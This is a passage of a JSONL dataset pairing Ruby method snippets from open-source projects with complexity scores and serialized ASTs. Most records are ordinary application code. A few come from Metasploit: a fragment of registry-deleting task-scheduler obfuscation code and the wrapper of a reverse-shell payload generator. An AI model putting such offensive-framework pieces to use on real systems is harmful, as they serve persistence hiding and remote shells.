/f\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@old_os\"]},null,{\"type\":\"str\",\"children\":[\" /reg:64\"]}]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"UseThreadToken\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TaskSchedulerObfuscationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not delete the key value. Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}]}]}]}","id":"91ba3927-108d-4339-93e5-d666d5d1ed27"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiparameter_attributes_test.rb","start_line":221,"raw_source":"def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false\n    with_timezone_config default: :local, aware_attributes: false, zone: -28800 do\n      attributes = {\n        \"written_on(1i)\" => \"2004\", \"written_on(2i)\" => \"6\", \"written_on(3i)\" => \"24\",\n        \"written_on(4i)\" => \"16\", \"written_on(5i)\" => \"24\", \"written_on(6i)\" => \"00\"\n      }\n      topic = Topic.find(1)\n      topic.attributes = attributes\n      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on\n      assert_not_respond_to topic.written_on, :time_zone\n    end\n  end","complexity_score":16.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_timezone_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"local\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aware_attributes\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"int\",\"children\":[-28800]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(1i)\"]},{\"type\":\"str\",\"children\":[\"2004\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(2i)\"]},{\"type\":\"str\",\"children\":[\"6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(3i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(4i)\"]},{\"type\":\"str\",\"children\":[\"16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(5i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(6i)\"]},{\"type\":\"str\",\"children\":[\"00\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[24]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[24]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_respond_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]},{\"type\":\"sym\",\"children\":[\"time_zone\"]}]}]}]}]}","id":"650d8695-dbe8-4369-8287-2eade822b93f"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20250620025548_add_index_to_post_actions_on_post_action_type_id.rb","start_line":6,"raw_source":"def up\n    execute <<~SQL\n    DROP INDEX IF EXISTS index_post_actions_on_post_action_type_id;\n    SQL\n\n    execute <<~SQL\n    CREATE INDEX CONCURRENTLY index_post_actions_on_post_action_type_id ON post_actions (post_action_type_id);\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP INDEX IF EXISTS index_post_actions_on_post_action_type_id;\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"CREATE INDEX CONCURRENTLY index_post_actions_on_post_action_type_id ON post_actions (post_action_type_id);\\n\"]}]}]}]}","id":"2d6611ac-81f0-406a-8086-20c573dde0d2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_field.rb","start_line":96,"raw_source":"def substitute=(value)\n    value = false if value.nil?\n    super\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"substitute=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"cea42c4a-68e9-425a-b0a3-bdb34b60faf5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":365,"raw_source":"def object_directory_size\n        gitaly_repository_client.get_object_directory_size.to_f * 1024\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"object_directory_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_repository_client\"]},\"get_object_directory_size\"]},\"to_f\"]},\"*\",{\"type\":\"int\",\"children\":[1024]}]}]}","id":"17b08334-6cbe-47ea-adc5-d36fad51b20b"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":571,"raw_source":"def admin_organizations\n    org_ids = organization_memberships.admin.pluck(:organization_id)\n    organizations.where(id: org_ids)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"admin_organizations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"org_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_memberships\"]},\"admin\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"organization_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organizations\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"org_ids\"]}]}]}]}]}]}","id":"42c2669f-df9f-4534-9042-1f4192c16f35"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/capture.rb","start_line":77,"raw_source":"def stats_drop(pcap=self.capture)\n        return(0) unless pcap\n        pcap.stats['drop']\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stats_drop\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"pcap\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"capture\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pcap\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pcap\"]},\"stats\"]},\"[]\",{\"type\":\"str\",\"children\":[\"drop\"]}]}]}]}","id":"d0d2b226-1ed6-427a-869c-c94c41e36869"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev/category.rb","start_line":9,"raw_source":"def initialize\n      super(::Category, DiscourseDev.config.category[:count])\n      @parent_category_ids = ::Category.where(parent_category_id: nil).pluck(:id)\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseDev\"]},\"config\"]},\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"count\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@parent_category_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Category\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_category_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"f921d0f6-ef12-407d-9db4-a59a8e829323"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/haml-spec/ugly_test.rb","start_line":989,"raw_source":"def test_a_tag_with_appended_and_nested_content\n      haml    = %q{%li hello\n%li>\n  world\n%li again}\n      html    = %q{<li>hello</li><li>\nworld\n</li><li>again</li>}\n      locals  = {}\n      options = {}\n      haml_result = UglyTest.haml_result(haml, options, locals)\n      assert_equal html, haml_result\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_a_tag_with_appended_and_nested_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"haml\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%li hello\\n\"]},{\"type\":\"str\",\"children\":[\"%li>\\n\"]},{\"type\":\"str\",\"children\":[\"  world\\n\"]},{\"type\":\"str\",\"children\":[\"%li again\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<li>hello</li><li>\\n\"]},{\"type\":\"str\",\"children\":[\"world\\n\"]},{\"type\":\"str\",\"children\":[\"</li><li>again</li>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"haml_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UglyTest\"]},\"haml_result\",{\"type\":\"lvar\",\"children\":[\"haml\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"lvar\",\"children\":[\"haml_result\"]}]}]}]}","id":"80681c3d-7837-47af-9be8-53fe77d6b381"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meeting_agenda_items_controller.rb","start_line":196,"raw_source":"def move\n    @meeting = @current_occurrence if @current_occurrence.present?\n\n    call = update_agenda_item(move_to: params[:move_to]&.to_sym)\n\n    if call.success?\n      update_agenda_via_turbo_stream\n      update_header_component_via_turbo_stream\n      update_backlog_via_turbo_stream(collapsed: ActiveModel::Type::Boolean.new.cast(params[:collapsed]))\n    else\n      generic_call_failure_response(call)\n    end\n\n    respond_with_turbo_streams\n  end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"move\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_occurrence\"]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@meeting\",{\"type\":\"ivar\",\"children\":[\"@current_occurrence\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[null,\"update_agenda_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"move_to\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"move_to\"]}]},\"to_sym\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_agenda_via_turbo_stream\"]},{\"type\":\"send\",\"children\":[null,\"update_header_component_via_turbo_stream\"]},{\"type\":\"send\",\"children\":[null,\"update_backlog_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"collapsed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"collapsed\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"generic_call_failure_response\",{\"type\":\"lvar\",\"children\":[\"call\"]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]}","id":"1bc5eb92-741b-40bf-883a-f4646b59a617"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/token/expirable_token.rb","start_line":93,"raw_source":"def expired\n        where(expires_on: ...Time.current)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expired\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_on\"]},{\"type\":\"erange\",\"children\":[null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]}]}","id":"7e4b2477-583d-4bcd-8c06-8acb89460b3a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/deploy_keys/basic_deploy_key_entity.rb","start_line":38,"raw_source":"def can_read_owner?(opts)\n      opts[:with_owner] && Ability.allowed?(options[:user], :read_user, object.user)\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"can_read_owner?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"with_owner\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"sym\",\"children\":[\"read_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user\"]}]}]}]}","id":"1b0b9b9e-8d52-4a57-8106-be5a3fdc6280"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_json_parsing.rb","start_line":18,"raw_source":"def check_cve_2013_0333\n    return unless version_between? \"0.0.0\", \"2.3.15\" or version_between? \"3.0.0\", \"3.0.19\"\n\n    unless uses_yajl? or uses_gem_backend?\n      new_version = if version_between? \"0.0.0\", \"2.3.14\"\n                      \"2.3.16\"\n                    elsif version_between? \"3.0.0\", \"3.0.19\"\n                      \"3.0.20\"\n                    end\n\n      message = msg(msg_version(rails_version), \" has a serious JSON parsing vulnerability. Upgrade to \", msg_version(new_version), \" or patch\")\n      gem_info = gemfile_or_environment\n\n      warn :warning_type => \"Remote Code Execution\",\n        :warning_code => :CVE_2013_0333,\n        :message => message,\n        :confidence => :high,\n        :gem_info => gem_info,\n        :link_path => \"https://groups.google.com/d/topic/rubyonrails-security/1h2DR63ViGo/discussion\",\n        :cwe_id => [74] # TODO: is this the best CWE for this?\n    end\n  end","complexity_score":25.35,"ast_json":"{\"type\":\"def\",\"children\":[\"check_cve_2013_0333\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"0.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.15\"]}]},{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.19\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uses_yajl?\"]},{\"type\":\"send\",\"children\":[null,\"uses_gem_backend?\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_version\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"0.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.14\"]}]},{\"type\":\"str\",\"children\":[\"2.3.16\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.19\"]}]},{\"type\":\"str\",\"children\":[\"3.0.20\"]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"send\",\"children\":[null,\"rails_version\"]}]},{\"type\":\"str\",\"children\":[\" has a serious JSON parsing vulnerability. Upgrade to \"]},{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"lvar\",\"children\":[\"new_version\"]}]},{\"type\":\"str\",\"children\":[\" or patch\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gem_info\",{\"type\":\"send\",\"children\":[null,\"gemfile_or_environment\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"CVE_2013_0333\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gem_info\"]},{\"type\":\"lvar\",\"children\":[\"gem_info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/topic/rubyonrails-security/1h2DR63ViGo/discussion\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[74]}]}]}]}]}]}]}]}]}","id":"c0ec1123-7ad4-4896-aa3f-2d3c4722faf2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/db_cleaner.rb","start_line":4,"raw_source":"def all_connection_classes\n    ::ActiveRecord::Base.connection_handler\n      .connection_pool_list(:writing)\n      .map(&:connection_class)\n      .uniq\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all_connection_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ActiveRecord\"]},\"Base\"]},\"connection_handler\"]},\"connection_pool_list\",{\"type\":\"sym\",\"children\":[\"writing\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_class\"]}]}]},\"uniq\"]}]}","id":"7de9e70c-704e-4393-af35-91fc79f10b33"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/core/builder.rb","start_line":75,"raw_source":"def load_and_validate_config\n        # Load base config from file/hash and environment\n        config = ConfigLoader.load(config_path: @config_input)\n\n        # Validate global configuration\n        ConfigValidator.validate_global_config(config)\n      rescue ConfigValidator::ValidationError => e\n        raise ConfigurationError, \"Configuration validation failed: #{e.message}\"\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load_and_validate_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigLoader\"]},\"load\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config_path\"]},{\"type\":\"ivar\",\"children\":[\"@config_input\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigValidator\"]},\"validate_global_config\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigValidator\"]},\"ValidationError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ConfigurationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Configuration validation failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"b71f452c-8bc8-43a9-8605-6b1755027b21"}
{"repo_name":"spree","file_path":"./repos/spree/core/db/migrate/20211203082008_add_settings_to_payment_methods.rb","start_line":2,"raw_source":"def change\n    change_table :spree_payment_methods do |t|\n      if t.respond_to? :jsonb\n        add_column :spree_payment_methods, :settings, :jsonb\n      else\n        add_column :spree_payment_methods, :settings, :json\n      end\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"spree_payment_methods\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"jsonb\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"spree_payment_methods\"]},{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"sym\",\"children\":[\"jsonb\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"spree_payment_methods\"]},{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]}","id":"3a4e13d0-9a5a-40e0-9fea-eda2f3f4e8ac"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb","start_line":31,"raw_source":"def generate(_opts = {})\n    rbs = prepends(ruby_string)\n    vprint_good rbs\n    return rbs\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rbs\",{\"type\":\"send\",\"children\":[null,\"prepends\",{\"type\":\"send\",\"children\":[null,\"ruby_string\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"lvar\",\"children\":[\"rbs\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rbs\"]}]}]}]}","id":"9ffe725c-0e87-4536-8969-8c07dc015db2"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/parser.rb","start_line":222,"raw_source":"def string_like_null(value, null_empty_string = @null_empty_string, null_value_regexp = @null_value_pattern)\n        null_empty_string && value.empty? || null_value_regexp && string_safe_encoding(value){|s| null_value_regexp.match?(s) }\n      end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"string_like_null\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"null_empty_string\",{\"type\":\"ivar\",\"children\":[\"@null_empty_string\"]}]},{\"type\":\"optarg\",\"children\":[\"null_value_regexp\",{\"type\":\"ivar\",\"children\":[\"@null_value_pattern\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"null_empty_string\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"empty?\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"null_value_regexp\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"string_safe_encoding\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"null_value_regexp\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}]}]}","id":"c22993dd-e65d-49df-9402-e694efe158ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables_spec.rb","start_line":403,"raw_source":"def rename_table_migration(old_table_name, new_table_name)\n    migration_class = Class.new(schema_class) do\n      class << self; attr_accessor :old_table_name, :new_table_name; end\n      def change\n        rename_table self.class.old_table_name, self.class.new_table_name\n      end\n    end\n\n    migration_class.tap do |klass|\n      klass.old_table_name = old_table_name\n      klass.new_table_name = new_table_name\n    end\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rename_table_migration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_table_name\"]},{\"type\":\"arg\",\"children\":[\"new_table_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"schema_class\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"sclass\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"attr_accessor\",{\"type\":\"sym\",\"children\":[\"old_table_name\"]},{\"type\":\"sym\",\"children\":[\"new_table_name\"]}]}]},{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"rename_table\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"old_table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new_table_name\"]}]}]}]}]}]},{\"type\":\"block\",\"c